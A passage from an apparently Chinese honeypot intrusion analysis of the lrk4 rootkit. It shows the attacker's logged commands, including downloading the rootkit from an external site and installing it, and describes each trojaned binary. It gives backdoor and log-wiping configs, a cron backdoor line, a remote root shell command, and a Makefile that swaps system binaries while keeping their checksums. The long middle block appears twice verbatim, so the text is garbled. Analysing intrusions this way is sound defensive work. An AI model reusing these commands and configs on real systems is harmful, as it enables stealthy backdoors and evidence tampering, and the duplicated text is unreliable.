蜜罐进阶之Hit@me入侵分析
#cd ..
#rm –rf lrk*
#lynx www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz >lrk4.src.tar.gz
#tar zxvf lrk4.src.tar.gz
#make all install
#vi rootkit.h
~include<net/if.h>
#cd ..
#rm –rf lrk
/* 这一部分的操作看起来有点奇特,后来才知道由于lrk5编译失败后
* 攻击者下载了lrk4的rootkit,修改rootkit.h文件,并成功安装lrk
*/ 后门程序
#4
为了检查入侵者安装的lrk4,我在实验环境中下载并编译lrk4包。对比原系统文件,其系统命令大部分被替换,这种极度渗透对于经验丰富的网络管理员将是一场噩梦!分析结构图如下(部分分析从源码文档翻译获得):
包目录结构:
bindshell 端口/SHELL的守护进程
chfn 木马程序,当用户输入密码时,可获得root权限
chsh 木马程序,在获得Shell使用的时候运行,可获得root权限
crontab 木马程序,隐藏时间记录
(注:比如,定期运行隐藏目录…中的backdoor程序,可以使用
blackhat 20,*,*,*,* /var/tmp/…/backdoor >/dev/null 2>&1
)
du 木马程序,隐藏文件。
find 木马程序,隐藏文件。
fix 替代和修改文件的时期戳和校验和
ifconfig 在sniff进行窃听的时候,使其promise状态不可见
inetd 提供无须验证的远程访问服务。
killall 不杀隐含的进程中含有linsniff和hack字端的进程
linsniffer 包嗅探器
login 可以使用rootkit提供的密码登录任意帐号。假如使用root登录被拒绝,可以使用”rewt”登录。当登录成功后,关闭历史日志记录。
ls 隐藏文件和目录。假如定义rootkit.h的SHOWFLAG,可以使用ls -/查看所有文件。只要文件名或者目录名为”ptyr”、”hack.dir”、”w4r3z”就被自动隐藏。我们也可通过/dev/ptyr增加隐藏文件名的定义。
netstat 修改或者隐藏TCP/UDP连接的端口、套接字、IP地址或uid等连接参数。
/dev/ptyq中定义了隐藏类型:
type 0: 隐藏uid号
type 1: 隐藏本地地址
type 2: 隐藏远程地址
type 3: 隐藏本地端口
type 4: 隐藏远程端口
type 5: 隐藏UNIX套接字路径
#######实 例########
0 500 <- 隐藏UID号为500的连接
1 128.31 <- 隐藏128.31网段对本地的连接
2 128.31.39.20 <- 隐藏到128.31.39.20的远程连接
3 8000 <- 隐藏所有本地端口为8000的连接
4 6667 <- 隐藏所有远程端口为6667的连接
5 .term/socket <-隐藏包括于.term/socket的套接字连接
passwd 输入rootkit的密码取代系统原有密码
pidof 类似于ps和killall。它通常返回命令的pid号。任何类似于ps木马程序所定义的进程类型2或进程类型3,具体含义可参阅ps说明。
ps 隐藏指定的进程。其数据定义文件存放于/dev/ptyp中:
0 0 隐藏所有root权限运行的进程
1 p0 隐藏终端的进程
2 sniffer 隐藏所有以sniffer命名的进程
3 hack 隐藏所有带有hack字段的进程
象proghack1, hack.scan, snhack等一类的进程会自动隐藏。假如定义文件不起作用,确信在命名的类型定义字段后面没有多余的空格符
rshd 以root权限执行远程命令。
用法:rsh -l rootkitpassword host_addr command
例如:rsh -l rootpass test.org /bin/sh -i
将会启动一个root的shell进程(rootkit的密码可以在rootkit.h修改)
sniffchk 一个简单测试linsniff是否运行的BSH脚本, 如果不是长期窃听一台服务起的话,它的作用并不大。
syslogd 从日志文件中删除指定的字串记录。定义文件为/dev/ptys:
evil.com
123.100.101.202
rshd
日志中包含了“evil.com”、“123.100.101.202”和“rshd”的字串记录将完全从日志中清除干净。
tcpd 允许没有任何日志记录的访问主机系统。Tcpd使用类型1来实现文件定义。
例如:
1 123.4.5.6
将会建立tcp帮定连接,允许123.4.5.6的隐藏登录连接。
top 其作用以及定义文件和ps类似。
wted 这个程序可以做很多事情。你可以观看wtmp或者utmp文件中的所有记录,按照用户名或主机名删除记录,查看zappped用户 (管理员用此类似的工具来查找删除的记录),删除zapped用户等。
z2 Zapper2的缩写,运行它可以擦除一个用户在utmp/wtmp/lastlog文件的所有记录。
#5
汗流浃背的观察lkr4所安装的木马后,现在让我感兴趣的是它们的安装过程,对比安装的二进制木马程序和系统原程序,我发现它们除了大小有所偏异,其文件属性、文件校验和和时间戳完全一样。于是我继续追踪其安装和编译路径:
#这是从源代码中截取的安装源文件代码
# Just to have a short-cut in the subdirectory Makefiles.
IBSD=-I/usr/include/bsd -include /usr/include/bsd/bsd.h
# These are just a common cases. Then we don''t have do write anything in the
# sublevel makefiles.
CFLAGS = ${O} ${IBSD}
LDLIBS = -lbsd
SUB = chfn chsh inetd login net-tools-1.32-alpha passwd \
procps-1.01 rshd sysklogd-1.3 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
SHADOWSUB = inetd net-tools-1.32-alpha procps-1.01 rshd sysklogd-1.3 \
shadow-961025 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
CC=gcc
all:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SUB); do make -C $$i; done
mv chfn/chfn bin
mv chsh/chsh bin
mv login/login bin
mv passwd/passwd bin
shadow:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SHADOWSUB); do make -C $$i; done
mv shadow-961025/src/chfn bin
mv shadow-961025/src/chsh bin
mv shadow-961025/src/login bin
mv shadow-961025/src/passwd bin
install:
if [ -x /usr/bin/chfn ] && [ -x bin/chfn ]; then ./fix /usr/bin/chfn bin/chfn; fi
if [ -x /usr/bin/chsh ] && [ -x bin/chsh ]; then ./fix /usr/bin/chsh bin/chsh; fi
if [ -x /bin/login ] && [ -x bin/login ]; then ./fix /bin/login bin/login; fi
if [ -x /bin/ls ] && [ -x fileutils-3.13/src/ls ]; then ./fix /bin/ls fileutils-3.13/src/ls; fi
if [ -x /bin/du ] && [ -x fileutils-3.13/src/du ]; then ./fix /bin/du fileutils-3.13/src/du; fi
#rm –rf lrk*
#lynx www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz >lrk4.src.tar.gz
#tar zxvf lrk4.src.tar.gz
#make all install
#vi rootkit.h
~include<net/if.h>
#cd ..
#rm –rf lrk
/* 这一部分的操作看起来有点奇特,后来才知道由于lrk5编译失败后
* 攻击者下载了lrk4的rootkit,修改rootkit.h文件,并成功安装lrk
*/ 后门程序
#4
为了检查入侵者安装的lrk4,我在实验环境中下载并编译lrk4包。对比原系统文件,其系统命令大部分被替换,这种极度渗透对于经验丰富的网络管理员将是一场噩梦!分析结构图如下(部分分析从源码文档翻译获得):
包目录结构:
bindshell 端口/SHELL的守护进程
chfn 木马程序,当用户输入密码时,可获得root权限
chsh 木马程序,在获得Shell使用的时候运行,可获得root权限
crontab 木马程序,隐藏时间记录
(注:比如,定期运行隐藏目录…中的backdoor程序,可以使用
blackhat 20,*,*,*,* /var/tmp/…/backdoor >/dev/null 2>&1
)
du 木马程序,隐藏文件。
find 木马程序,隐藏文件。
fix 替代和修改文件的时期戳和校验和
ifconfig 在sniff进行窃听的时候,使其promise状态不可见
inetd 提供无须验证的远程访问服务。
killall 不杀隐含的进程中含有linsniff和hack字端的进程
linsniffer 包嗅探器
login 可以使用rootkit提供的密码登录任意帐号。假如使用root登录被拒绝,可以使用”rewt”登录。当登录成功后,关闭历史日志记录。
ls 隐藏文件和目录。假如定义rootkit.h的SHOWFLAG,可以使用ls -/查看所有文件。只要文件名或者目录名为”ptyr”、”hack.dir”、”w4r3z”就被自动隐藏。我们也可通过/dev/ptyr增加隐藏文件名的定义。
netstat 修改或者隐藏TCP/UDP连接的端口、套接字、IP地址或uid等连接参数。
/dev/ptyq中定义了隐藏类型:
type 0: 隐藏uid号
type 1: 隐藏本地地址
type 2: 隐藏远程地址
type 3: 隐藏本地端口
type 4: 隐藏远程端口
type 5: 隐藏UNIX套接字路径
#######实 例########
0 500 <- 隐藏UID号为500的连接
1 128.31 <- 隐藏128.31网段对本地的连接
2 128.31.39.20 <- 隐藏到128.31.39.20的远程连接
3 8000 <- 隐藏所有本地端口为8000的连接
4 6667 <- 隐藏所有远程端口为6667的连接
5 .term/socket <-隐藏包括于.term/socket的套接字连接
passwd 输入rootkit的密码取代系统原有密码
pidof 类似于ps和killall。它通常返回命令的pid号。任何类似于ps木马程序所定义的进程类型2或进程类型3,具体含义可参阅ps说明。
ps 隐藏指定的进程。其数据定义文件存放于/dev/ptyp中:
0 0 隐藏所有root权限运行的进程
1 p0 隐藏终端的进程
2 sniffer 隐藏所有以sniffer命名的进程
3 hack 隐藏所有带有hack字段的进程
象proghack1, hack.scan, snhack等一类的进程会自动隐藏。假如定义文件不起作用,确信在命名的类型定义字段后面没有多余的空格符
rshd 以root权限执行远程命令。
用法:rsh -l rootkitpassword host_addr command
例如:rsh -l rootpass test.org /bin/sh -i
将会启动一个root的shell进程(rootkit的密码可以在rootkit.h修改)
sniffchk 一个简单测试linsniff是否运行的BSH脚本, 如果不是长期窃听一台服务起的话,它的作用并不大。
syslogd 从日志文件中删除指定的字串记录。定义文件为/dev/ptys:
evil.com
123.100.101.202
rshd
日志中包含了“evil.com”、“123.100.101.202”和“rshd”的字串记录将完全从日志中清除干净。
tcpd 允许没有任何日志记录的访问主机系统。Tcpd使用类型1来实现文件定义。
例如:
1 123.4.5.6
将会建立tcp帮定连接,允许123.4.5.6的隐藏登录连接。
top 其作用以及定义文件和ps类似。
wted 这个程序可以做很多事情。你可以观看wtmp或者utmp文件中的所有记录,按照用户名或主机名删除记录,查看zappped用户 (管理员用此类似的工具来查找删除的记录),删除zapped用户等。
z2 Zapper2的缩写,运行它可以擦除一个用户在utmp/wtmp/lastlog文件的所有记录。
#5
汗流浃背的观察lkr4所安装的木马后,现在让我感兴趣的是它们的安装过程,对比安装的二进制木马程序和系统原程序,我发现它们除了大小有所偏异,其文件属性、文件校验和和时间戳完全一样。于是我继续追踪其安装和编译路径:
#这是从源代码中截取的安装源文件代码
# Just to have a short-cut in the subdirectory Makefiles.
IBSD=-I/usr/include/bsd -include /usr/include/bsd/bsd.h
# These are just a common cases. Then we don''t have do write anything in the
# sublevel makefiles.
CFLAGS = ${O} ${IBSD}
LDLIBS = -lbsd
SUB = chfn chsh inetd login net-tools-1.32-alpha passwd \
procps-1.01 rshd sysklogd-1.3 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
SHADOWSUB = inetd net-tools-1.32-alpha procps-1.01 rshd sysklogd-1.3 \
shadow-961025 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
CC=gcc
all:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SUB); do make -C $$i; done
mv chfn/chfn bin
mv chsh/chsh bin
mv login/login bin
mv passwd/passwd bin
shadow:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SHADOWSUB); do make -C $$i; done
mv shadow-961025/src/chfn bin
mv shadow-961025/src/chsh bin
mv shadow-961025/src/login bin
mv shadow-961025/src/passwd bin
install:
if [ -x /usr/bin/chfn ] && [ -x bin/chfn ]; then ./fix /usr/bin/chfn bin/chfn; fi
if [ -x /usr/bin/chsh ] && [ -x bin/chsh ]; then ./fix /usr/bin/chsh bin/chsh; fi
if [ -x /bin/login ] && [ -x bin/login ]; then ./fix /bin/login bin/login; fi
if [ -x /bin/ls ] && [ -x fileutils-3.13/src/ls ]; then ./fix /bin/ls fileutils-3.13/src/ls; fi
if [ -x /bin/du ] && [ -x fileutils-3.13/src/du ]; then ./fix /bin/du fileutils-3.13/src/du; fi
0
相关文章